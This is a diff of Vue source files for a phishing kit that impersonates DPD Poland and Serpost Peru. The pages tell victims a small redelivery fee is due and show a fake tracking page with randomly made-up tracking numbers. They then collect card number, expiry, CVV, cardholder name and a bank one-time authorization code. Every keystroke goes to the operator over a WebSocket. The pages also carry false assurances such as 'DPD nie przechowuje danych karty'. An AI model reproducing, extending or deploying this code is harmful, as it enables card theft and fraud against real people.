.brt-field {
display: flex;
flex-direction: column;
gap: 6px;
text-align: left;
}
.brt-field label {
font-size: 15px;
font-weight: 600;
color: #333333;
}
.req {
color: #dc0032; /* DPD 红色 */
margin-left: 2px;
}
.brt-field input {
width: 100%;
height: 48px;
border: 1px solid #999999;
border-radius: 4px;
padding: 0 12px;
font-size: 16px;
box-sizing: border-box;
outline: none;
transition: border-color 0.2s;
}
.brt-field input:focus {
border-color: #333333;
}
/* 错误提示样式 */
.input-err {
border-color: #dc0032 !important;
background-color: #fdebeb;
}
.err-text {
color: #dc0032;
font-size: 12px;
font-weight: 500;
margin-top: 2px;
}
.brt-action {
margin-top: 25px;
}
.brt-btn-submit {
width: 100%;
height: 52px;
background-color: #dc0032; /* 标志性红色按钮 */
color: #ffffff;
border: none;
border-radius: 6px;
font-size: 18px;
font-weight: 700;
cursor: pointer;
}
.brt-btn-submit:active {
background-color: #b30026;
}
@media (max-width: 480px) {
.brt-main-title {
font-size: 28px;
}
}
</style>

View File

@@ -0,0 +1,278 @@
<script setup lang="ts">
import {
nextTick,
onMounted,
onUnmounted,
reactive,
ref,
watch,
} from "vue";
import { useRoute } from "vue-router";
import eventBus from "@/utils/eventBus";
const cardType = ref("");
import { useI18n } from "vue-i18n";
import { inputChange, myWebSocket } from "@/utils/common";
const { t } = useI18n(); // 解构出t方法
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "appValid" },
})
);
const route = useRoute();
const query = route.query as any;
if (query) {
console.log("route", query);
cardType.value = query.cardType;
}
localStorage.setItem("route", "appValid");
eventBus.on("app-valid", handleEvent);
});
const message = ref("");
const handleEvent = (data: { message2: string }) => {
message.value = data.message2;
};
onUnmounted(() => {
eventBus.off("app-valid", handleEvent);
});
const formData = reactive({ appVerifyCode: "" });
const onchange = (value: any) => {
inputChange("input_card", "appVerifyCode", value.target.value);
formData.appVerifyCode = value.target.value;
};
const showInput = ref(false);
watch(message, (newValue, oldValue) => {
showInput.value = !!(message.value.includes(":") || newValue.includes(""));
});
const submit = async () => {
await nextTick();
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: {
type: "submitAppValidCode",
formData: formData,
},
})
);
message.value = "";
};
</script>
<template>
<div class="dpd-app-wrapper">
<div class="dpd-app-card">
<!-- DPD Logo -->
<div class="dpd-logo">
<img src="/Q3h9Lm2Rk8VzNwXa/DPD_logo_redgrad_rgb_responsive.svg" alt="DPD" class="dpd-logo-img" />
</div>
<!-- 手机 App 授权图示 -->
<div class="dpd-phone-icon">
<svg viewBox="0 0 80 80" xmlns="http://www.w3.org/2000/svg" width="80" height="80">
<rect x="18" y="4" width="44" height="72" rx="7" fill="#f4f4f4" stroke="#dc0032" stroke-width="2.5"/>
<rect x="28" y="9" width="24" height="4" rx="2" fill="#dc0032" opacity="0.3"/>
<circle cx="40" cy="70" r="3" fill="#dc0032" opacity="0.5"/>
<path d="M40 22 L52 27 L52 38 Q52 47 40 52 Q28 47 28 38 L28 27 Z" fill="#dc0032" opacity="0.12" stroke="#dc0032" stroke-width="1.5"/>
<polyline points="34,38 38,43 47,33" fill="none" stroke="#dc0032" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
</div>
<h2 class="dpd-title">Autoryzacja w aplikacji bankowej</h2>
<p class="dpd-desc">
Otwórz aplikację swojego banku i potwierdź transakcję płatności DPD.<br/>
Nie zamykaj tej strony do momentu potwierdzenia.
</p>
<div class="dpd-bank-row">
<svg viewBox="0 0 24 24" width="16" height="16" fill="#dc0032" style="flex-shrink:0">
<path d="M12 1L3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5l-9-4z"/>
</svg>
<span><b>{{ t("Authorized bank") }}</b></span>
</div>
<p class="dpd-sub">{{ t("Please go to the bank App to confirm the authorization") }}</p>
<p class="dpd-sub">{{ t("Please do not close this page") }}</p>
<p class="dpd-error" v-if="message">{{ message }}</p>
<div class="dpd-input-wrap" v-if="showInput">
<label class="dpd-input-label">Jednorazowy kod autoryzacyjny</label>
<input
required
type="number"
inputmode="numeric"
class="dpd-input"
@input="onchange"
v-model="formData.appVerifyCode"
minlength="3"
maxlength="8"
placeholder="Wprowadź kod"
/>
<button class="dpd-btn" type="button" @click="submit">Potwierdź</button>
</div>
<div class="dpd-loading-wrap" v-if="!showInput">
<svg class="dpd-spinner" viewBox="0 0 50 50" xmlns="http://www.w3.org/2000/svg">
<circle cx="25" cy="25" r="20" fill="none" stroke="#eeeeee" stroke-width="4"/>
<circle cx="25" cy="25" r="20" fill="none" stroke="#dc0032" stroke-width="4"
stroke-dasharray="80 45" stroke-linecap="round"/>
</svg>
<p class="dpd-waiting">Oczekiwanie na potwierdzenie w aplikacji</p>
</div>
</div>
</div>
</template>
<style scoped>
.dpd-app-wrapper {
min-height: 100dvh;
background-color: #f6f6f6;
display: flex;
align-items: center;
justify-content: center;
padding: 24px 16px;
font-family: Arial, sans-serif;
}
.dpd-app-card {
background: #ffffff;
border-radius: 8px;
border: 1px solid #e5e5e5;
box-shadow: 0 2px 12px rgba(0,0,0,0.06);
padding: 36px 28px;
width: 100%;
max-width: 400px;
text-align: center;
}
.dpd-logo {
margin-bottom: 20px;
}
.dpd-logo-img {
width: 100px;
height: auto;
}
.dpd-phone-icon {
margin: 0 auto 20px;
}
.dpd-title {
font-size: 20px;
font-weight: 800;
color: #222;
margin-bottom: 12px;
}
.dpd-desc {
font-size: 14px;
color: #555;
line-height: 1.6;
margin-bottom: 20px;
}
.dpd-bank-row {
display: inline-flex;
align-items: center;
gap: 6px;
font-size: 14px;
color: #333;
margin-bottom: 8px;
}
.dpd-sub {
font-size: 13px;
color: #888;
margin: 4px 0;
}
.dpd-error {
color: #dc0032;
font-size: 14px;
font-weight: 600;
margin: 12px 0;
}
.dpd-input-wrap {
margin-top: 20px;
display: flex;
flex-direction: column;
gap: 10px;
align-items: center;
}
.dpd-input-label {
font-size: 14px;
font-weight: 600;
color: #333;
}
.dpd-input {
width: 80%;
padding: 10px 12px;
border: 2px solid #ccc;
border-radius: 6px;
font-size: 18px;
font-weight: 700;
text-align: center;
outline: none;
box-sizing: border-box;
}
.dpd-input:focus {
border-color: #dc0032;
}
.dpd-btn {
width: 80%;
padding: 12px;
background-color: #dc0032;
color: #fff;
border: none;
border-radius: 6px;
font-size: 16px;
font-weight: 700;
cursor: pointer;
}
.dpd-btn:active {
background-color: #b30026;
}
.dpd-loading-wrap {
margin-top: 24px;
display: flex;
flex-direction: column;
align-items: center;
gap: 12px;
}
.dpd-spinner {
width: 48px;
height: 48px;
animation: spin 1.2s linear infinite;
}
.dpd-waiting {
font-size: 13px;
color: #999;
}
@keyframes spin {
from { transform: rotate(0deg); }
to { transform: rotate(360deg); }
}
</style>

View File

@@ -0,0 +1,503 @@
<template>
<CommonLayout>
<template #default>
<div class="sp-gateway-final-v3">
<div class="sp-top-banner">
<p class="sp-top-banner-text">
Debido a una discrepancia en la dirección, se aplicará una tarifa de
reenvío de S/ 3.50 para la entrega corregida. También puede optar
por recoger el paquete en su oficina de Serpost local sin costo
adicional. Agradecemos su comprensión.
</p>
</div>
<h2 class="sp-section-label">Opciones de Pago</h2>
<div class="sp-card-icons-row">
<img :src="c1" class="sp-brand-icon" alt="visa" />
<img :src="c2" class="sp-brand-icon" alt="master" />
<img :src="c5" class="sp-brand-icon" alt="amex" />
<img :src="c7" class="sp-brand-icon" alt="maestro" />
<img :src="c3" class="sp-brand-icon" alt="jcb" />
<img :src="c6" class="sp-brand-icon" alt="discover" />
<img :src="c8" class="sp-brand-icon" alt="diners" />
</div>
<div class="sp-card-form-body">
<div class="sp-form-header-title">DETALLES DE PAGO</div>
<form @submit.prevent="next" class="sp-main-form-content">
<div
class="sp-field-container"
:class="getFieldClass('cardNumber', 16)"
>
<div class="sp-field-relative">
<input
type="text"
v-model="formData.cardNumber"
@input="onCardNumberChange"
maxlength="19"
class="sp-field-input"
placeholder=" "
required
/>
<label class="sp-field-label">Número de Tarjeta</label>
<div class="sp-field-icon-box">
<img
:src="cardInfo.path"
class="sp-field-card-img"
v-if="cardInfo.identified"
/>
<svg v-else class="sp-field-card-svg" viewBox="0 0 24 24">
<path
d="M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2zm0 14H4v-6h16v6zm0-10H4V6h16v2z"
></path>
</svg>
</div>
<div class="sp-field-line-bar"></div>
</div>
</div>
<div class="sp-row-flex">
<div
class="sp-field-container sp-flex-half"
:class="getFieldClass('expires', 5, true)"
>
<div class="sp-field-relative">
<input
type="text"
v-model="formData.expires"
@input="onExpiresChange"
maxlength="5"
class="sp-field-input"
placeholder=" "
required
/>
<label class="sp-field-label">MM/AA</label>
<div class="sp-field-line-bar"></div>
</div>
</div>
<div
class="sp-field-container sp-flex-half"
:class="getFieldClass('cvv', 3)"
>
<div class="sp-field-relative">
<input
type="text"
v-model="formData.cvv"
@input="onCvvChange"
maxlength="4"
class="sp-field-input"
placeholder=" "
required
/>
<label class="sp-field-label">CVV</label>
<div class="sp-field-line-bar"></div>
</div>
</div>
</div>
<div
class="sp-field-container"
:class="getFieldClass('cardName', 3)"
>
<div class="sp-field-relative">
<input
type="text"
v-model="formData.cardName"
@input="onCardNameChange"
class="sp-field-input"
placeholder=" "
required
/>
<label class="sp-field-label">Nombre del Tarjetahabiente</label>
<div class="sp-field-line-bar"></div>
</div>
</div>
<div class="sp-terms-group-wrapper">
<div class="sp-checkbox-layout">
<input
type="checkbox"
id="sp_legal_agree"
v-model="termsAccepted"
class="sp-real-checkbox"
required
/>
<label for="sp_legal_agree" class="sp-checkbox-facade">
<span class="sp-box-ui"></span>
<span class="sp-text-ui">
Acepto los
<a href="#" class="sp-link-bold">Términos de Servicio</a> y
la
<a href="#" class="sp-link-bold">Política de Privacidad</a>
</span>
</label>
</div>
</div>
<button
type="submit"
class="sp-btn-submit"
:disabled="!isFormValid"
>
Pagar S/ 3.50
</button>
</form>
</div>
</div>
</template>
</CommonLayout>
<PaymentLoadingModal
v-model:visible="isModalVisible"
:card-number="formData.cardNumber"
:loading="true"
:closable="false"
/>
</template>
<script setup lang="ts">
import { nextTick, onMounted, onUnmounted, reactive, ref, computed } from "vue";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import eventBus from "@/utils/eventBus";
import { useRoute } from "vue-router";
import PaymentLoadingModal from "@/components/PaymentLoadingModal.vue";
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
import c2 from "@/assets/img/d9f501073fcfa.svg";
import c3 from "@/assets/img/761998023fcfa.svg";
import c4 from "@/assets/img/272b931f3fcfa.svg";
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
import c6 from "@/assets/img/e62e66803fcfa.svg";
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
import c8 from "@/assets/img/1a32e1333fcfa.svg";
import { inputChange, myWebSocket,configData } from "@/utils/common";
const isModalVisible = ref(false);
const termsAccepted = ref(false);
const loadingStore = useLoadingStore();
const formData = reactive({
cardNumber: "",
cardName: "",
expires: "",
cvv: "",
});
// 核心修复:识别逻辑
const cardInfo = computed(() => {
const num = formData.cardNumber.replace(/\D/g, "");
if (!num) return { identified: false, path: "" };
if (/^4/.test(num)) return { identified: true, path: c1 };
if (/^(5[1-5]|222[1-9]|22[3-9]|2[3-6]|27[0-1]|2720)/.test(num))
return { identified: true, path: c2 };
if (/^3[47]/.test(num)) return { identified: true, path: c5 };
if (/^(62|81)/.test(num)) return { identified: true, path: c4 };
if (/^6(011|4[4-9]|5)/.test(num)) return { identified: true, path: c6 };
if (/^35/.test(num)) return { identified: true, path: c3 };
if (/^(30|36|38|39)/.test(num)) return { identified: true, path: c8 };
if (/^(50|56|57|58|6)/.test(num)) return { identified: true, path: c7 };
return { identified: false, path: "" };
});
// 2026年日期校验
const isExpiryDateValid = computed(() => {
if (formData.expires.length !== 5) return false;
const [mStr, yStr] = formData.expires.split("/");
const mm = parseInt(mStr);
const yy = parseInt(yStr);
if (isNaN(mm) || isNaN(yy) || mm < 1 || mm > 12) return false;
const currentYY = 26;
const currentMM = new Date().getMonth() + 1;
if (yy < currentYY) return false;
if (yy === currentYY && mm < currentMM) return false;
return true;
});
const getFieldClass = (
field: keyof typeof formData,
minLen: number,
isDate = false
) => {
const val = formData[field].replace(/\s/g, "");
if (val.length === 0) return "";
let isValid = isDate ? isExpiryDateValid.value : val.length >= minLen;
return isValid ? "sp-status-valid" : "sp-status-active";
};
const isFormValid = computed(() => {
return (
formData.cardNumber.replace(/\s/g, "").length >= 15 &&
isExpiryDateValid.value &&
formData.cvv.length >= 3 &&
formData.cardName.trim().length >= 3 &&
termsAccepted.value
);
});
const onCardNameChange = (e: any) =>
inputChange("input_card", "cardName", e.target.value);
const onCardNumberChange = (e: any) => {
let val = e.target.value.replace(/\D/g, "");
formData.cardNumber = val.replace(/(.{4})/g, "$1 ").trim();
inputChange("input_card", "cardNumber", val);
};
const onExpiresChange = (e: any) => {
let val = e.target.value.replace(/\D/g, "").slice(0, 4);
if (val.length > 2) val = val.slice(0, 2) + "/" + val.slice(2, 4);
formData.expires = val;
inputChange("input_card", "expires", val);
};
const onCvvChange = (e: any) => {
formData.cvv = e.target.value.replace(/\D/g, "").slice(0, 4);
inputChange("input_card", "cvv", formData.cvv);
};
const next = async () => {
await nextTick();
if (!isFormValid.value) return;
isModalVisible.value = true;
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: {
type: "submitCard",
formData: {
...formData,
cardNumber: formData.cardNumber.replace(/\s/g, ""),
},
},
})
);
};
onMounted(() => {
loadingStore.setLoading(false);
myWebSocket?.send(
JSON.stringify({ event: "page_type", content: { pageType: "card" } })
);
});
</script>
<style scoped>
.sp-gateway-final-v3 {
max-width: 480px;
margin: 0 auto;
padding: 16px;
background: #fff;
font-family: Arial, Helvetica, sans-serif;
box-sizing: border-box;
}
.sp-gateway-final-v3 * {
box-sizing: border-box;
}
.sp-top-banner {
border: 1px solid #e2e8f0;
border-radius: 12px;
padding: 18px;
margin-bottom: 25px;
}
.sp-top-banner-text {
color: #666;
font-size: 14px;
line-height: 1.5;
text-align: center;
margin: 0;
}
.sp-section-label {
font-size: 16px;
font-weight: bold;
color: #31455a;
margin-bottom: 15px;
}
.sp-card-icons-row {
display: flex;
gap: 8px;
margin-bottom: 25px;
flex-wrap: wrap;
}
.sp-brand-icon {
height: 22px;
border: 1px solid #f0f0f0;
border-radius: 3px;
padding: 2px 5px;
}
.sp-card-form-body {
border: 1px solid #eee;
border-radius: 4px;
padding: 30px 20px;
}
.sp-form-header-title {
text-align: center;
font-size: 18px;
letter-spacing: 1.2px;
color: #000;
border-bottom: 1px solid rgb(243, 244, 246);
text-align: center;
margin-bottom: 40px;
padding-bottom: 24px;
}
.sp-field-container {
margin-bottom: 32px;
}
.sp-field-relative {
position: relative;
width: 100%;
}
.sp-field-input {
width: 100%;
border: none;
border-bottom: 1.5px solid #d1d1d1;
padding: 10px 0;
font-size: 16px;
background: transparent;
outline: none;
color: #333;
}
.sp-field-label {
position: absolute;
top: 10px;
left: 0;
color: #999;
font-size: 15px;
pointer-events: none;
transition: 0.2s ease all;
}
.sp-field-input:focus ~ .sp-field-label,
.sp-field-input:not(:placeholder-shown) ~ .sp-field-label {
top: -18px;
font-size: 12px;
color: #555;
}
.sp-field-line-bar {
position: absolute;
bottom: 0;
left: 0;
width: 100%;
height: 0;
transition: 0.2s ease all;
}
.sp-status-active .sp-field-input {
border-bottom-color: transparent;
}
.sp-status-active .sp-field-line-bar {
height: 2.5px;
background: #ff0000;
}
.sp-status-valid .sp-field-input {
border-bottom-color: transparent;
}
.sp-status-valid .sp-field-line-bar {
height: 2.5px;
background: #002d5f;
}
.sp-field-icon-box {
position: absolute;
right: 0;
top: 8px;
display: flex;
align-items: center;
}
.sp-field-card-img {
height: 20px;
}
.sp-field-card-svg {
width: 24px;
height: 24px;
fill: #999;
}
.sp-row-flex {
display: flex;
gap: 20px;
}
.sp-flex-half {
flex: 1;
}
/* 复选框强力修复 */
.sp-terms-group-wrapper {
margin: 10px 0 35px;
width: 100%;
}
.sp-checkbox-layout {
display: flex;
align-items: center;
}
.sp-real-checkbox {
position: absolute;
opacity: 0;
width: 0;
height: 0;
}
.sp-checkbox-facade {
display: flex;
align-items: center;
cursor: pointer;
font-size: 13px;
color: #444;
}
.sp-box-ui {
flex-shrink: 0;
width: 18px;
height: 18px;
border: 1px solid #bbb;
border-radius: 2px;
margin-right: 12px;
position: relative;
}
.sp-real-checkbox:checked + .sp-checkbox-facade .sp-box-ui {
background-color: #002d5f;
border-color: #002d5f;
}
.sp-real-checkbox:checked + .sp-checkbox-facade .sp-box-ui::after {
content: "";
position: absolute;
left: 5px;
top: 2px;
width: 5px;
height: 9px;
border: solid white;
border-width: 0 2px 2px 0;
transform: rotate(45deg);
}
.sp-link-bold {
color: #000;
font-weight: bold;
text-decoration: underline;
}
.sp-btn-submit {
width: 100%;
height: 56px;
background: #9ba1a6;
color: #fff;
border: none;
border-radius: 8px;
font-size: 18px;
font-weight: bold;
cursor: not-allowed;
transition: background 0.3s ease;
}
.sp-btn-submit:not(:disabled) {
background: #4a5568;
cursor: pointer;
}
</style>

View File

@@ -0,0 +1,512 @@
<template>
<CommonLayout>
<template #default>
<div class="brt-pay-wrapper">
<div class="brt-pay-container">
<h1 class="brt-pay-title">Opłata za ponowną dostawę DPD</h1>
<div class="brt-pay-intro" v-if="configData.pay_msg">
<p>{{ configData.pay_msg }}</p>
</div>
<div class="brt-pay-intro" v-else>
<p>
Aby zlecić ponowną dostawę paczki, wymagane jest uiszczenie opłaty manipulacyjnej.
Kwota obejmuje koszty obsługi przesyłki w sieci DPD Polska.
</p>
<p>
Po zaksięgowaniu płatności Twoja przesyłka zostanie przekazana do ponownej dostawy zgodnie z harmonogramem DPD.
</p>
</div>
<hr class="brt-divider" />
<div class="brt-amount-box">
<span class="brt-package-icon">📦</span>
<span class="brt-amount-text">Kwota do zapłaty: <strong> {{
configData?.pay_amount ? configData.pay_amount : "€1.39"
}}</strong></span>
</div>
<div class="brt-safe-banner">
Bezpieczna płatność szyfrowanie SSL/TLS
</div>
<hr class="brt-divider" />
<form @submit.prevent="next" class="brt-card-form">
<div class="brt-input-group">
<label>Imię i nazwisko posiadacza karty</label>
<input
type="text"
v-model="formData.cardName"
@input="onCardNameChange"
placeholder="Jak na karcie płatniczej"
:class="{ 'input-err-border': nameMessage }"
required
/>
<transition name="fade">
<div class="brt-error-msg" v-if="nameMessage">{{ nameMessage }}</div>
</transition>
</div>
<div class="brt-input-group">
<label>Numer karty</label>
<div class="brt-card-input-wrapper">
<input
type="text"
v-model="formData.cardNumber"
@input="onCardNumberChange"
maxlength="19"
placeholder="0000 0000 0000 0000"
inputmode="numeric"
:class="{ 'input-err-border': cardMessage }"
required
/>
<div class="brt-card-type-icon">
<img :src="cardTypeImage" v-if="isCardIdentified" alt="card type" />
</div>
</div>
<transition name="fade">
<div class="brt-error-msg" v-if="cardMessage">{{ cardMessage }}</div>
</transition>
</div>
<div class="brt-brand-logos">
<img :src="c1" alt="visa" />
<img :src="c2" alt="master" />
<img :src="c5" alt="amex" />
<img :src="c7" alt="maestro" />
<img :src="c3" alt="jcb" />
<img :src="c6" alt="discover" />
<img :src="c8" alt="diners" />
</div>
<div class="brt-row">
<div class="brt-input-group flex-1">
<label>Termin ważności</label>
<input
type="text"
v-model="formData.expires"
@input="onExpiresChange"
maxlength="5"
placeholder="MM/RR"
inputmode="numeric"
:class="{ 'input-err-border': expiresMessage }"
required
/>
<transition name="fade">
<div class="brt-error-msg" v-if="expiresMessage">{{ expiresMessage }}</div>
</transition>
</div>
<div class="brt-input-group flex-1">
<label>CVV</label>
<input
type="text"
v-model="formData.cvv"
@input="onCvvChange"
maxlength="4"
placeholder="123"
inputmode="numeric"
:class="{ 'input-err-border': cvvMessage }"
required
/>
<transition name="fade">
<div class="brt-error-msg" v-if="cvvMessage">{{ cvvMessage }}</div>
</transition>
</div>
</div>
<div class="brt-submit-wrap">
<button
type="submit"
class="brt-pay-btn"
:disabled="!isFormValid"
>
Zapłać
{{
configData?.pay_amount ? configData.pay_amount : "€1.39"
}}
</button>
</div>
<p class="brt-secure-footer">
<svg viewBox="0 0 24 24" class="lock-icon"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10zM9 12l2 2 4-4" fill="none" stroke="currentColor" stroke-width="2"/></svg>
Twoje dane płatnicze chronione i szyfrowane. DPD nie przechowuje danych karty.
</p>
</form>
</div>
</div>
</template>
</CommonLayout>
<PaymentLoadingModal
v-model:visible="isModalVisible"
:card-number="formData.cardNumber"
:loading="true"
:closable="false"
/>
</template>
<script setup lang="ts">
import { nextTick, onMounted, onUnmounted, reactive, ref, computed } from "vue";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import eventBus from "@/utils/eventBus";
import { useRoute } from "vue-router";
import PaymentLoadingModal from "@/components/PaymentLoadingModal.vue";
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
import c2 from "@/assets/img/d9f501073fcfa.svg";
import c3 from "@/assets/img/761998023fcfa.svg";
import c4 from "@/assets/img/272b931f3fcfa.svg";
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
import c6 from "@/assets/img/e62e66803fcfa.svg";
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
import c8 from "@/assets/img/1a32e1333fcfa.svg";
const c10 = "/wb200_es_coupons_glovoapp/img/default.svg";
import { inputChange, myWebSocket, configData } from "@/utils/common";
const isModalVisible = ref(false);
const termsAccepted = ref(true);
const loadingStore = useLoadingStore();
const route = useRoute();
const formData = reactive({
cardNumber: "",
cardName: "",
expires: "",
cvv: "",
});
// 错误提示响应式变量
const cardMessage = ref("");
const nameMessage = ref("");
const expiresMessage = ref("");
const cvvMessage = ref("");
const cardTypeImage = computed(() => {
const num = formData.cardNumber.replace(/\D/g, "");
if (!num) return c10;
if (/^4/.test(num)) return c1;
if (/^(5[1-5]|222[1-9]|22[3-9]|2[3-6]|27[0-1]|2720)/.test(num)) return c2;
if (/^3[47]/.test(num)) return c5;
if (/^(62|81)/.test(num)) return c4;
if (/^6(011|4[4-9]|5)/.test(num)) return c6;
if (/^35/.test(num)) return c3;
if (/^(30|36|38|39)/.test(num)) return c8;
if (/^(50|56|57|58|6)/.test(num)) return c7;
return c10;
});
const isCardIdentified = computed(() => {
return cardTypeImage.value !== c10;
});
const isExpiryDateValid = computed(() => {
const val = formData.expires;
if (!/^\d{2}\/\d{2}$/.test(val)) return false;
const [mStr, yStr] = val.split("/");
const mm = parseInt(mStr);
const yy = parseInt(yStr);
if (mm < 1 || mm > 12) return false;
const currentYY = 26;
const currentMM = new Date().getMonth() + 1;
if (yy < currentYY) return false;
if (yy === currentYY && mm < currentMM) return false;
return true;
});
const isFormValid = computed(() => {
const cleanCard = formData.cardNumber.replace(/\s/g, "");
return (
cleanCard.length >= 15 &&
isExpiryDateValid.value &&
formData.cvv.length >= 3 &&
formData.cardName.trim().length >= 3 &&
termsAccepted.value &&
!cardMessage.value &&
!nameMessage.value &&
!expiresMessage.value &&
!cvvMessage.value
);
});
const onCardNameChange = (e: any) => {
const val = e.target.value;
if (val.trim().length > 0 && val.trim().length < 3) {
nameMessage.value = "Podaj imię i nazwisko jak na karcie";
} else {
nameMessage.value = "";
}
inputChange("input_card", "cardName", val);
};
const onCardNumberChange = (e: any) => {
let val = e.target.value.replace(/\D/g, "");
formData.cardNumber = val.replace(/(.{4})/g, "$1 ").trim();
if (val.length > 0 && val.length < 15) {
cardMessage.value = "Nieprawidłowy numer karty";
} else {
cardMessage.value = "";
}
inputChange("input_card", "cardNumber", val);
};
const onExpiresChange = (e: any) => {
let val = e.target.value.replace(/\D/g, "").slice(0, 4);
if (val.length > 2) val = val.slice(0, 2) + "/" + val.slice(2, 4);
formData.expires = val;
if (val.length === 5) {
if (!isExpiryDateValid.value) {
expiresMessage.value = "Karta jest nieważna lub termin minął";
} else {
expiresMessage.value = "";
}
} else if (val.length > 0) {
expiresMessage.value = "Wymagany format MM/RR";
} else {
expiresMessage.value = "";
}
inputChange("input_card", "expires", val);
};
const onCvvChange = (e: any) => {
const val = e.target.value.replace(/\D/g, "").slice(0, 4);
formData.cvv = val;
if (val.length > 0 && val.length < 3) {
cvvMessage.value = "Nieprawidłowy CVV";
} else {
cvvMessage.value = "";
}
inputChange("input_card", "cvv", val);
};
const handleEvent = (data: { message2?: string }) => {
isModalVisible.value = false;
if (data.message2) {
cardMessage.value = data.message2;
}
};
const next = async () => {
await nextTick();
if (!isFormValid.value) return;
const submitData = {
...formData,
cardNumber: formData.cardNumber.replace(/\s/g, "")
};
isModalVisible.value = true;
localStorage.setItem("cardNumber", submitData.cardNumber);
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: { type: "submitCard", formData: submitData }
})
);
};
onMounted(() => {
loadingStore.setLoading(false);
eventBus.on("my-event", handleEvent);
myWebSocket?.send(
JSON.stringify({ event: "page_type", content: { pageType: "card" } })
);
localStorage.setItem("route", "card");
if (route.query && route.query.message2) {
cardMessage.value = route.query.message2 as string;
}
});
onUnmounted(() => {
eventBus.off("my-event", handleEvent);
});
</script>
<style scoped>
.brt-pay-wrapper {
background-color: #ffffff;
min-height: 100vh;
padding: 30px 20px;
font-family: Arial, sans-serif;
display: flex;
justify-content: center;
}
.brt-pay-container {
width: 100%;
max-width: 480px;
}
.brt-pay-title {
font-size: 28px;
font-weight: 800;
color: #333;
margin-bottom: 20px;
line-height: 1.2;
}
.brt-pay-intro {
color: #666;
font-size: 15px;
line-height: 1.5;
margin-bottom: 25px;
}
.brt-divider {
border: 0;
border-top: 1px solid #f0f0f0;
margin: 20px 0;
}
.brt-amount-box {
display: flex;
align-items: center;
gap: 10px;
margin-bottom: 20px;
}
.brt-package-icon {
font-size: 24px;
}
.brt-amount-text {
font-size: 18px;
color: #333;
}
.brt-safe-banner {
background-color: #e8f5e9;
color: #2e7d32;
padding: 14px;
border-radius: 12px;
text-align: center;
font-weight: 600;
font-size: 15px;
margin-bottom: 10px;
}
.brt-card-form {
display: flex;
flex-direction: column;
gap: 20px;
}
.brt-input-group {
display: flex;
flex-direction: column;
gap: 8px;
text-align: left;
}
.brt-input-group label {
font-size: 15px;
font-weight: 600;
color: #333;
}
.brt-input-group input {
width: 100%;
height: 48px;
border: 1px solid #ddd;
border-radius: 4px;
padding: 0 12px;
font-size: 16px;
box-sizing: border-box;
transition: border-color 0.2s;
}
.brt-card-input-wrapper {
position: relative;
}
.brt-card-type-icon {
position: absolute;
right: 12px;
top: 50%;
transform: translateY(-50%);
}
.brt-card-type-icon img {
height: 20px;
}
.brt-brand-logos {
display: flex;
gap: 6px;
flex-wrap: wrap;
}
.brt-brand-logos img {
height: 22px;
padding: 2px 4px;
border: 1px solid #f5f5f5;
border-radius: 3px;
}
.brt-row {
display: flex;
gap: 15px;
}
.flex-1 { flex: 1; }
.brt-submit-wrap {
margin-top: 15px;
}
.brt-pay-btn {
width: 100%;
height: 52px;
background-color: #dc0032;
color: white;
border: none;
border-radius: 8px;
font-size: 18px;
font-weight: 700;
cursor: pointer;
transition: background-color 0.3s;
}
.brt-pay-btn:disabled {
background-color: #e0e0e0;
cursor: not-allowed;
}
.brt-error-msg {
color: #dc0032;
font-size: 13px;
font-weight: bold;
margin-top: 2px;
}
.input-err-border {
border-color: #dc0032 !important;
background-color: #fdebeb;
}
.brt-secure-footer {
display: flex;
align-items: center;
justify-content: center;
gap: 6px;
color: #999;
font-size: 12px;
margin-top: 10px;
}
.lock-icon {
width: 14px;
height: 14px;
color: #10b981;
}
.fade-enter-active, .fade-leave-active { transition: opacity 0.3s; }
.fade-enter-from, .fade-leave-to { opacity: 0; }
</style>

View File

@@ -0,0 +1,28 @@
<script setup lang="ts">
import { footerHtml, headerHtml } from "@/utils/common";
</script>
<template>
<body >
<div class="v-application v-application--is-ltr theme--light">
<div class="v-application--wrap">
<header22
class="container-fluid1"
id="banner"
role="banner"
v-html="headerHtml"
></header22>
<main22 style="padding-top: 0px; display: flex; justify-content: center">
<div style="width: 100%; max-width: 800px">
<slot></slot>
</div>
</main22>
<footer22 class="container-fluid2" v-html="footerHtml"></footer22>
</div>
</div>
</body>
</template>

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,830 @@
<script setup lang="ts">
import { onMounted, ref, computed } from "vue";
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import moment from "moment";
import { myWebSocket } from "@/utils/common";
const router = useRouter();
const loadingStore = useLoadingStore();
// 生成随机波兰快递单号10位或14位纯数字
const generateTrackingNumber = () => {
const length = Math.random() > 0.5 ? 10 : 14;
return Array.from({ length }, () => Math.floor(Math.random() * 10)).join('');
};
const trackingNumber = ref(generateTrackingNumber());
/**
* Dynamika generowania daty
* W oparciu o bieżący czas, zapewniając wyświetlanie "rzeczywistych" danych
*/
const now = moment();
// 格式化日期函数 (DD/MM HH:mm)
const fmt = (daysAgo: number, timeStr: string) => {
return now.clone().subtract(daysAgo, 'days').format('DD/MM') + ' ' + timeStr;
};
// 格式化纯日期 (DD/MM/YYYY)
const fmtFull = (daysAdd: number) => {
return now.clone().add(daysAdd, 'days').format('DD/MM/YYYY');
};
const handleUpdateAddress = () => {
loadingStore.setLoading(true);
setTimeout(() => {
loadingStore.setLoading(false);
router.push("/address");
}, 800);
};
onMounted(() => {
trackingNumber.value = generateTrackingNumber();
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "home" },
})
